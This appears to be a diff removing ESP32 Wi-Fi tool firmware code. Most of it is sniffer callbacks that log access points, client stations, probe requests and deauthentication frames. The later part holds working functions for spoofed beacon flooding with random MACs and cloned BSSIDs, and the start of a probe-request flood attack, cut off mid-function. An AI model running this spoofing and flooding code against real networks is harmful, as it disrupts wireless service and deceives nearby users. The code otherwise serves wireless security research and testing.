-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-  String essid = "";
-  String bssid = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-
-    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
-    #ifdef HAS_SCREEN
-      int buf = display_obj.display_buffer->size();
-    #else
-      int buf = 0;
-    #endif
-    if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
-    {
-      char addr[] = "00:00:00:00:00:00";
-      getMAC(addr, snifferPacket->payload, 10);
-
-      bool in_list = false;
-      bool mac_match = true;
-
-      for (int i = 0; i < access_points->size(); i++) {
-        mac_match = true;
-        //Serial.print("Checking ");
-        //Serial.print(addr);
-        //Serial.println(" against " + (String)access_points->get(i).essid);
-
-        
-        for (int x = 0; x < 6; x++) {
-          //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
-          if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
-            mac_match = false;
-            //Serial.println("MACs do not match");
-            break;
-          }
-        }
-        if (mac_match) {
-          in_list = true;
-          break;
-        }
-      }
-
-      if (!in_list) {
-      
-        delay(random(0, 10));
-        Serial.print("RSSI: ");
-        Serial.print(snifferPacket->rx_ctrl.rssi);
-        Serial.print(" Ch: ");
-        Serial.print(snifferPacket->rx_ctrl.channel);
-        Serial.print(" BSSID: ");
-        Serial.print(addr);
-        display_string.concat(addr);
-        Serial.print(" ESSID: ");
-        display_string.concat(" -> ");
-        for (int i = 0; i < snifferPacket->payload[37]; i++)
-        {
-          Serial.print((char)snifferPacket->payload[i + 38]);
-          display_string.concat((char)snifferPacket->payload[i + 38]);
-          essid.concat((char)snifferPacket->payload[i + 38]);
-
-          
-        }
-
-        bssid.concat(addr);
-  
-        int temp_len = display_string.length();
-        for (int i = 0; i < 40 - temp_len; i++)
-        {
-          display_string.concat(" ");
-        }
-  
-        Serial.print(" ");
-
-        #ifdef HAS_SCREEN
-          if (display_obj.display_buffer->size() == 0)
-          {
-            display_obj.loading = true;
-            display_obj.display_buffer->add(display_string);
-            display_obj.loading = false;
-          }
-        #endif
-        
-        if (essid == "") {
-          essid = bssid;
-          Serial.print(essid + " ");
-        }
-
-        //LinkedList<char> beacon = new LinkedList<char>();
-        
-        /*AccessPoint ap = {essid,
-                          snifferPacket->rx_ctrl.channel,
-                          {snifferPacket->payload[10],
-                           snifferPacket->payload[11],
-                           snifferPacket->payload[12],
-                           snifferPacket->payload[13],
-                           snifferPacket->payload[14],
-                           snifferPacket->payload[15]},
-                          false,
-                          NULL};*/
-
-        AccessPoint ap;
-        ap.essid = essid;
-        ap.channel = snifferPacket->rx_ctrl.channel;
-        ap.bssid[0] = snifferPacket->payload[10];
-        ap.bssid[1] = snifferPacket->payload[11];
-        ap.bssid[2] = snifferPacket->payload[12];
-        ap.bssid[3] = snifferPacket->payload[13];
-        ap.bssid[4] = snifferPacket->payload[14];
-        ap.bssid[5] = snifferPacket->payload[15];
-        ap.selected = false;
-        ap.stations = new LinkedList<int>();
-        
-        ap.beacon = new LinkedList<char>();
-
-        //for (int i = 0; i < len; i++) {
-        //  ap.beacon->add(snifferPacket->payload[i]);
-        //}
-        ap.beacon->add(snifferPacket->payload[34]);
-        ap.beacon->add(snifferPacket->payload[35]);
-
-        Serial.print("\nBeacon: ");
-
-        for (int i = 0; i < ap.beacon->size(); i++) {
-          char hexCar[4];
-          sprintf(hexCar, "%02X", ap.beacon->get(i));
-          Serial.print(hexCar);
-          if ((i + 1) % 16 == 0)
-            Serial.print("\n");
-          else
-            Serial.print(" ");
-        }
-
-        ap.rssi = snifferPacket->rx_ctrl.rssi;
-
-        access_points->add(ap);
-
-        Serial.print(access_points->size());
-
-        Serial.println();
-
-        addPacket(snifferPacket, len);
-      }
-    }
-  }
-}
-
-void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
-{
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-  String essid = "";
-  String bssid = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-
-    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
-    #ifdef HAS_SCREEN
-      int buf = display_obj.display_buffer->size();
-    #else
-      int buf = 0;
-    #endif
-    if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
-    {
-      char addr[] = "00:00:00:00:00:00";
-      getMAC(addr, snifferPacket->payload, 10);
-
-      bool in_list = false;
-      bool mac_match = true;
-
-      for (int i = 0; i < access_points->size(); i++) {
-        mac_match = true;
-        //Serial.print("Checking ");
-        //Serial.print(addr);
-        //Serial.println(" against " + (String)access_points->get(i).essid);
-
-        
-        for (int x = 0; x < 6; x++) {
-          //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
-          if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
-            mac_match = false;
-            //Serial.println("MACs do not match");
-            break;
-          }
-        }
-        if (mac_match) {
-          in_list = true;
-          break;
-        }
-      }
-
-      if (!in_list) {
-      
-        delay(random(0, 10));
-        Serial.print("RSSI: ");
-        Serial.print(snifferPacket->rx_ctrl.rssi);
-        Serial.print(" Ch: ");
-        Serial.print(snifferPacket->rx_ctrl.channel);
-        Serial.print(" BSSID: ");
-        Serial.print(addr);
-        display_string.concat(addr);
-        Serial.print(" ESSID: ");
-        display_string.concat(" -> ");
-        for (int i = 0; i < snifferPacket->payload[37]; i++)
-        {
-          Serial.print((char)snifferPacket->payload[i + 38]);
-          display_string.concat((char)snifferPacket->payload[i + 38]);
-          essid.concat((char)snifferPacket->payload[i + 38]);
-
-          
-        }
-
-        bssid.concat(addr);
-  
-        int temp_len = display_string.length();
-        for (int i = 0; i < 40 - temp_len; i++)
-        {
-          display_string.concat(" ");
-        }
-  
-        Serial.print(" ");
-
-        #ifdef HAS_SCREEN
-          if (display_obj.display_buffer->size() == 0)
-          {
-            display_obj.loading = true;
-            display_obj.display_buffer->add(display_string);
-            display_obj.loading = false;
-          }
-        #endif
-        
-        if (essid == "") {
-          essid = bssid;
-          Serial.print(essid + " ");
-        }
-        
-        AccessPoint ap = {essid,
-                          snifferPacket->rx_ctrl.channel,
-                          {snifferPacket->payload[10],
-                           snifferPacket->payload[11],
-                           snifferPacket->payload[12],
-                           snifferPacket->payload[13],
-                           snifferPacket->payload[14],
-                           snifferPacket->payload[15]},
-                          false,
-                          NULL,
-                          snifferPacket->rx_ctrl.rssi,
-                          new LinkedList<int>()};
-
-        access_points->add(ap);
-
-        Serial.print(access_points->size());
-
-        Serial.println();
-
-        addPacket(snifferPacket, len);
-      }
-    }
-  }
-}
-
-void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
-{
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-
-    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
-    #ifdef HAS_SCREEN
-      int buf = display_obj.display_buffer->size();
-    #else
-      int buf = 0;
-    #endif
-    if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
-    {
-      delay(random(0, 10));
-      Serial.print("RSSI: ");
-      Serial.print(snifferPacket->rx_ctrl.rssi);
-      Serial.print(" Ch: ");
-      Serial.print(snifferPacket->rx_ctrl.channel);
-      Serial.print(" BSSID: ");
-      char addr[] = "00:00:00:00:00:00";
-      getMAC(addr, snifferPacket->payload, 10);
-      Serial.print(addr);
-      display_string.concat(addr);
-      Serial.print(" ESSID: ");
-      display_string.concat(" -> ");
-      for (int i = 0; i < snifferPacket->payload[37]; i++)
-      {
-        Serial.print((char)snifferPacket->payload[i + 38]);
-        display_string.concat((char)snifferPacket->payload[i + 38]);
-      }
-
-      int temp_len = display_string.length();
-
-      #ifdef HAS_SCREEN
-        for (int i = 0; i < 40 - temp_len; i++)
-        {
-          display_string.concat(" ");
-        }
-  
-        Serial.print(" ");
-  
-        if (display_obj.display_buffer->size() == 0)
-        {
-          display_obj.loading = true;
-          display_obj.display_buffer->add(display_string);
-          display_obj.loading = false;
-        }
-      #endif
-
-      Serial.println();
-
-      addPacket(snifferPacket, len);
-    }
-  }
-}
-
-void WiFiScan::stationSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-  String mac = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-  }
-
-  char ap_addr[] = "00:00:00:00:00:00";
-  char dst_addr[] = "00:00:00:00:00:00";
-
-  int ap_index = 0;
-
-  // Check if frame has ap in list of APs and determine position
-  uint8_t frame_offset = 0;
-  int offsets[2] = {10, 4};
-  bool matched_ap = false;
-  bool ap_is_src = false;
-
-  bool mac_match = true;
-
-  for (int y = 0; y < 2; y++) {
-    for (int i = 0; i < access_points->size(); i++) {
-      mac_match = true;
-      
-      for (int x = 0; x < 6; x++) {
-        //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
-        if (snifferPacket->payload[x + offsets[y]] != access_points->get(i).bssid[x]) {
-          mac_match = false;
-          break;
-        }
-      }
-      if (mac_match) {
-        matched_ap = true;
-        if (offsets[y] == 10)
-          ap_is_src = true;
-        ap_index = i;
-        getMAC(ap_addr, snifferPacket->payload, offsets[y]);
-        break;
-      }
-    }
-    if (matched_ap)
-      break;
-  }
-
-  // If did not find ap from list in frame, drop frame
-  if (!matched_ap)
-    return;
-  else {
-    if (ap_is_src)
-      frame_offset = 4;
-    else
-      frame_offset = 10;
-  }
-  /*  Stuff to care about now
-   *  ap_is_src
-   *  ap_index
-   */
-  
-
-  // Check if we already have this station
-  bool in_list = false;
-  for (int i = 0; i < stations->size(); i++) {
-    mac_match = true;
-    
-    for (int x = 0; x < 6; x++) {
-      //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
-      if (snifferPacket->payload[x + frame_offset] != stations->get(i).mac[x]) {
-        mac_match = false;
-        //Serial.println("MACs do not match");
-        break;
-      }
-    }
-    if (mac_match) {
-      in_list = true;
-      break;
-    }
-  }
-
-  getMAC(dst_addr, snifferPacket->payload, 4);
-
-  // Check if dest is broadcast
-  if ((in_list) || (strcmp(dst_addr, "ff:ff:ff:ff:ff:ff") == 0))
-    return;
-  
-  // Add to list of stations
-  Station sta = {
-                {snifferPacket->payload[frame_offset],
-                 snifferPacket->payload[frame_offset + 1],
-                 snifferPacket->payload[frame_offset + 2],
-                 snifferPacket->payload[frame_offset + 3],
-                 snifferPacket->payload[frame_offset + 4],
-                 snifferPacket->payload[frame_offset + 5]},
-                false};
-
-  stations->add(sta);
-
-  // Print findings to serial
-  Serial.print((String)stations->size() + ": ");
-  
-  char sta_addr[] = "00:00:00:00:00:00";
-  
-  if (ap_is_src) {
-    Serial.print("ap: ");
-    Serial.print(ap_addr);
-    Serial.print(" -> sta: ");
-    getMAC(sta_addr, snifferPacket->payload, 4);
-    Serial.println(sta_addr);
-  }
-  else {
-    Serial.print("sta: ");
-    getMAC(sta_addr, snifferPacket->payload, 10);
-    Serial.print(sta_addr);
-    Serial.print(" -> ap: ");
-    Serial.println(ap_addr);
-  }
-  display_string.concat(sta_addr);
-  display_string.concat(" -> ");
-  display_string.concat(access_points->get(ap_index).essid);
-
-  int temp_len = display_string.length();
-
-  #ifdef HAS_SCREEN
-    for (int i = 0; i < 40 - temp_len; i++)
-    {
-      display_string.concat(" ");
-    }
-
-    Serial.print(" ");
-
-    if (display_obj.display_buffer->size() == 0)
-    {
-      display_obj.loading = true;
-      display_obj.display_buffer->add(display_string);
-      display_obj.loading = false;
-    }
-  #endif
-
-  // Add station index to AP in list
-  //access_points->get(ap_index).stations->add(stations->size() - 1);
-
-  AccessPoint ap = access_points->get(ap_index);
-  ap.stations->add(stations->size() - 1);
-
-  access_points->set(ap_index, ap);
-
-  addPacket(snifferPacket, len);
-}
-
-void WiFiScan::rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
-{
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-  }
-
-  Serial.print("RSSI: ");
-  Serial.print(snifferPacket->rx_ctrl.rssi);
-  Serial.print(" Ch: ");
-  Serial.print(snifferPacket->rx_ctrl.channel);
-  Serial.print(" BSSID: ");
-  char addr[] = "00:00:00:00:00:00";
-  getMAC(addr, snifferPacket->payload, 10);
-  Serial.print(addr);
-  display_string.concat(text_table4[0]);
-  display_string.concat(snifferPacket->rx_ctrl.rssi);
-
-  display_string.concat(" ");
-  display_string.concat(addr);
-
-  int temp_len = display_string.length();
-
-  #ifdef HAS_SCREEN
-    for (int i = 0; i < 40 - temp_len; i++)
-    {
-      display_string.concat(" ");
-    }
-
-    Serial.print(" ");
-
-    if (display_obj.display_buffer->size() == 0)
-    {
-      display_obj.loading = true;
-      display_obj.display_buffer->add(display_string);
-      display_obj.loading = false;
-    }
-  #endif
-
-  Serial.println();
-
-  addPacket(snifferPacket, len);
-}
-
-void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
-{
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-
-    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
-    #ifdef HAS_SCREEN
-      int buf = display_obj.display_buffer->size();
-    #else
-      int buf = 0;
-    #endif
-    if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
-    {
-      delay(random(0, 10));
-      Serial.print("RSSI: ");
-      Serial.print(snifferPacket->rx_ctrl.rssi);
-      Serial.print(" Ch: ");
-      Serial.print(snifferPacket->rx_ctrl.channel);
-      Serial.print(" BSSID: ");
-      char addr[] = "00:00:00:00:00:00";
-      char dst_addr[] = "00:00:00:00:00:00";
-      getMAC(addr, snifferPacket->payload, 10);
-      getMAC(dst_addr, snifferPacket->payload, 4);
-      Serial.print(addr);
-      Serial.print(" -> ");
-      Serial.print(dst_addr);
-      display_string.concat(text_table4[0]);
-      display_string.concat(snifferPacket->rx_ctrl.rssi);
-
-      display_string.concat(" ");
-      display_string.concat(addr);
-
-      #ifdef HAS_SCREEN
-        for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
-        {
-          display_string.concat(" ");
-        }
-  
-        Serial.print(" ");
-  
-        if (display_obj.display_buffer->size() == 0)
-        {
-          display_obj.loading = true;
-          display_obj.display_buffer->add(display_string);
-          display_obj.loading = false;
-        }
-      #endif
-      
-      Serial.println();
-
-      addPacket(snifferPacket, len);
-    }
-  }
-}
-
-void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-
-
-    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
-    #ifdef HAS_SCREEN
-      int buf = display_obj.display_buffer->size();
-    #else
-      int buf = 0;
-    #endif
-    if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
-    {
-      delay(random(0, 10));
-      Serial.print("RSSI: ");
-      Serial.print(snifferPacket->rx_ctrl.rssi);
-      Serial.print(" Ch: ");
-      Serial.print(snifferPacket->rx_ctrl.channel);
-      Serial.print(" Client: ");
-      char addr[] = "00:00:00:00:00:00";
-      getMAC(addr, snifferPacket->payload, 10);
-      Serial.print(addr);
-      display_string.concat(addr);
-      Serial.print(" Requesting: ");
-      display_string.concat(" -> ");
-      for (int i = 0; i < snifferPacket->payload[25]; i++)
-      {
-        Serial.print((char)snifferPacket->payload[26 + i]);
-        display_string.concat((char)snifferPacket->payload[26 + i]);
-      }
-
-      // Print spaces because of the rotating lines of the hardware scroll.
-      // The same characters print from previous lines so I just overwrite them
-      // with spaces.
-      #ifdef HAS_SCREEN
-        for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
-        {
-          display_string.concat(" ");
-        }
-  
-        if (display_obj.display_buffer->size() == 0)
-        {
-          //while (display_obj.printing)
-          //  delay(1);
-          display_obj.loading = true;
-          display_obj.display_buffer->add(display_string);
-          display_obj.loading = false;
-        }
-      #endif
-      
-      Serial.println();    
-
-      addPacket(snifferPacket, len);
-    }
-  }
-}
-
-void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-  String essid = "";
-  bool found = false;
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-
-
-    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
-    #ifdef HAS_SCREEN
-      int buf = display_obj.display_buffer->size();
-    #else
-      int buf = 0;
-    #endif
-    if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
-    {
-
-      for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
-      {
-        essid.concat((char)snifferPacket->payload[26 + i]);
-      }
-
-      for (int i = 0; i < ssids->size(); i++) {
-        if (ssids->get(i).essid == essid) {
-          Serial.println("Found a sheep");
-          found = true;
-          break;
-        }
-      }
-
-      if (!found)
-        return;
-      
-      delay(random(0, 10));
-      Serial.print("RSSI: ");
-      Serial.print(snifferPacket->rx_ctrl.rssi);
-      Serial.print(" Ch: ");
-      Serial.print(snifferPacket->rx_ctrl.channel);
-      Serial.print(" Client: ");
-      char addr[] = "00:00:00:00:00:00";
-      getMAC(addr, snifferPacket->payload, 10);
-      Serial.print(addr);
-      display_string.concat(addr);
-      Serial.print(" Requesting: ");
-      display_string.concat(" -> ");
-
-      // ESSID
-      for (int i = 0; i < snifferPacket->payload[25]; i++)
-      {
-        Serial.print((char)snifferPacket->payload[26 + i]);
-        display_string.concat((char)snifferPacket->payload[26 + i]);
-      }
-
-      // Print spaces because of the rotating lines of the hardware scroll.
-      // The same characters print from previous lines so I just overwrite them
-      // with spaces.
-      #ifdef HAS_SCREEN
-        for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
-        {
-          display_string.concat(" ");
-        }
-  
-        if (display_obj.display_buffer->size() == 0)
-        {
-          display_obj.loading = true;
-          display_obj.display_buffer->add(display_string);
-          display_obj.loading = false;
-        }
-      #endif
-      
-      Serial.println();    
-
-      addPacket(snifferPacket, len);
-    }
-  }
-}
-
-void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
-  set_channel = random(1,12); 
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  delay(1);  
-
-  if (custom_ssid.beacon->size() == 0)
-    return;
-
-
-  // Randomize SRC MAC
-  // Randomize SRC MAC
-  packet[10] = packet[16] = random(256);
-  packet[11] = packet[17] = random(256);
-  packet[12] = packet[18] = random(256);
-  packet[13] = packet[19] = random(256);
-  packet[14] = packet[20] = random(256);
-  packet[15] = packet[21] = random(256);
-
-  char ESSID[custom_ssid.essid.length() + 1] = {};
-  custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
-
-  int realLen = strlen(ESSID);
-  int ssidLen = random(realLen, 33);
-  int numSpace = ssidLen - realLen;
-  //int rand_len = sizeof(rand_reg);
-  int fullLen = ssidLen;
-  packet[37] = fullLen;
-
-  // Insert my tag
-  for(int i = 0; i < realLen; i++)
-    packet[38 + i] = ESSID[i];
-
-  for(int i = 0; i < numSpace; i++)
-    packet[38 + realLen + i] = 0x20;
-
-  /////////////////////////////
-  
-  packet[50 + fullLen] = set_channel;
-
-  uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
-                      0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
-
-
-
-  // Add everything that goes after the SSID
-  //for(int i = 0; i < 12; i++) 
-  //  packet[38 + fullLen + i] = postSSID[i];
-
-  packet[34] = custom_ssid.beacon->get(0);
-  packet[35] = custom_ssid.beacon->get(1);
-  
-
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-
-  packets_sent = packets_sent + 3;
-}
-
-void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
-  set_channel = custom_ssid.channel;
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  delay(1);  
-
-  // Randomize SRC MAC
-  packet[10] = packet[16] = custom_ssid.bssid[0];
-  packet[11] = packet[17] = custom_ssid.bssid[1];
-  packet[12] = packet[18] = custom_ssid.bssid[2];
-  packet[13] = packet[19] = custom_ssid.bssid[3];
-  packet[14] = packet[20] = custom_ssid.bssid[4];
-  packet[15] = packet[21] = custom_ssid.bssid[5];
-
-  char ESSID[custom_ssid.essid.length() + 1] = {};
-  custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
-
-  int ssidLen = strlen(ESSID);
-  //int rand_len = sizeof(rand_reg);
-  int fullLen = ssidLen;
-  packet[37] = fullLen;
-
-  // Insert my tag
-  for(int i = 0; i < ssidLen; i++)
-    packet[38 + i] = ESSID[i];
-
-  /////////////////////////////
-  
-  packet[50 + fullLen] = set_channel;
-
-  uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
-                      0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
-
-
-
-  // Add everything that goes after the SSID
-  for(int i = 0; i < 12; i++) 
-    packet[38 + fullLen + i] = postSSID[i];
-  
-
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-
-  packets_sent = packets_sent + 3;
-}
-
-// Function to send beacons with random ESSID length
-void WiFiScan::broadcastSetSSID(uint32_t current_time, char* ESSID) {
-  set_channel = random(1,12); 
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  delay(1);  
-
-  // Randomize SRC MAC
-  packet[10] = packet[16] = random(256);
-  packet[11] = packet[17] = random(256);
-  packet[12] = packet[18] = random(256);
-  packet[13] = packet[19] = random(256);
-  packet[14] = packet[20] = random(256);
-  packet[15] = packet[21] = random(256);
-
-  int ssidLen = strlen(ESSID);
-  //int rand_len = sizeof(rand_reg);
-  int fullLen = ssidLen;
-  packet[37] = fullLen;
-
-  // Insert my tag
-  for(int i = 0; i < ssidLen; i++)
-    packet[38 + i] = ESSID[i];
-
-  /////////////////////////////
-  
-  packet[50 + fullLen] = set_channel;
-
-  uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
-                      0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
-
-
-
-  // Add everything that goes after the SSID
-  for(int i = 0; i < 12; i++) 
-    packet[38 + fullLen + i] = postSSID[i];
-  
-
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-
-  packets_sent = packets_sent + 3;
-  
-}
-
-// Function for sending crafted beacon frames
-void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
-
-  set_channel = random(1,12); 
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  delay(1);  
-
-  // Randomize SRC MAC
-  packet[10] = packet[16] = random(256);
-  packet[11] = packet[17] = random(256);
-  packet[12] = packet[18] = random(256);
-  packet[13] = packet[19] = random(256);
-  packet[14] = packet[20] = random(256);
-  packet[15] = packet[21] = random(256);
-
-  packet[37] = 6;
-  
-  
-  // Randomize SSID (Fixed size 6. Lazy right?)
-  packet[38] = alfa[random(65)];
-  packet[39] = alfa[random(65)];
-  packet[40] = alfa[random(65)];
-  packet[41] = alfa[random(65)];
-  packet[42] = alfa[random(65)];
-  packet[43] = alfa[random(65)];
-  
-  packet[56] = set_channel;
-
-  uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
-                      0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
-
-
-
-  // Add everything that goes after the SSID
-  for(int i = 0; i < 12; i++) 
-    packet[38 + 6 + i] = postSSID[i];
-
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-  //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
-  //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
-
-  packets_sent = packets_sent + 3;
-}
-
-// Function to send probe flood to all "active" access points
-void WiFiScan::sendProbeAttack(uint32_t currentTime) {
-  // Itterate through all access points in list
-  for (int i = 0; i < access_points->size(); i++) {
-
-    // Check if active
-    if (access_points->get(i).selected) {
-      this->set_channel = access_points->get(i).channel;
-      esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
-      delay(1);
-      
-      // Build packet
-      // Randomize SRC MAC
-      
-      prob_req_packet[10] = random(256);
-      prob_req_packet[11] = random(256);
-      prob_req_packet[12] = random(256);
-      prob_req_packet[13] = random(256);
-      prob_req_packet[14] = random(256);
-      prob_req_packet[15] = random(256);
-
-      // Set SSID length
